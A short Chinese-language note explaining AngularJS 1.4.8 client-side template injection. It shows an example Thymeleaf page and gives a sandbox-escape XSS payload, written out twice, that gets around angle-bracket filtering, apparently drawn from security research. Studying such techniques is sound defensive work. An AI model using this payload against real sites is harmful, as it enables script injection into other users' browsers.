AngularJS XSS

此类xss可以绕过尖括号过滤

payload:

{{'a'.constructor.prototype.charAt=[].join;eval('x=1} } };alert(1)//');}}

原理

<html xmlns:th="http://www.thymeleaf.org"> 
<head> 
<title>Angular Expression - safe</title> 
<script src="angular-1.4.8.min.js"></script> 
</head> 
<body ng-app> 
<div th:text="${username}"></div> 
</body> 
</html> 

${username}{{1+2}}时,Angular将会把DOM解析成如下:

<html> 
<head> 
<title>Angular Expression - safe</title> 
<script src="angular-1.4.8.min.js"></script> 
</head> 
<body ng-app=""> 
<div>3</div> 
</body> 
</html> 
花括号内的表达式被解析了 但直接使用{{alert(1)}}会被拦截 可以使用如下payload实现弹窗:
{{'a'.constructor.prototype.charAt=[].join;eval('x=1} } };alert(1)//');}}
注:适用于Chrome和AngularJS1.4.8 详见:http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html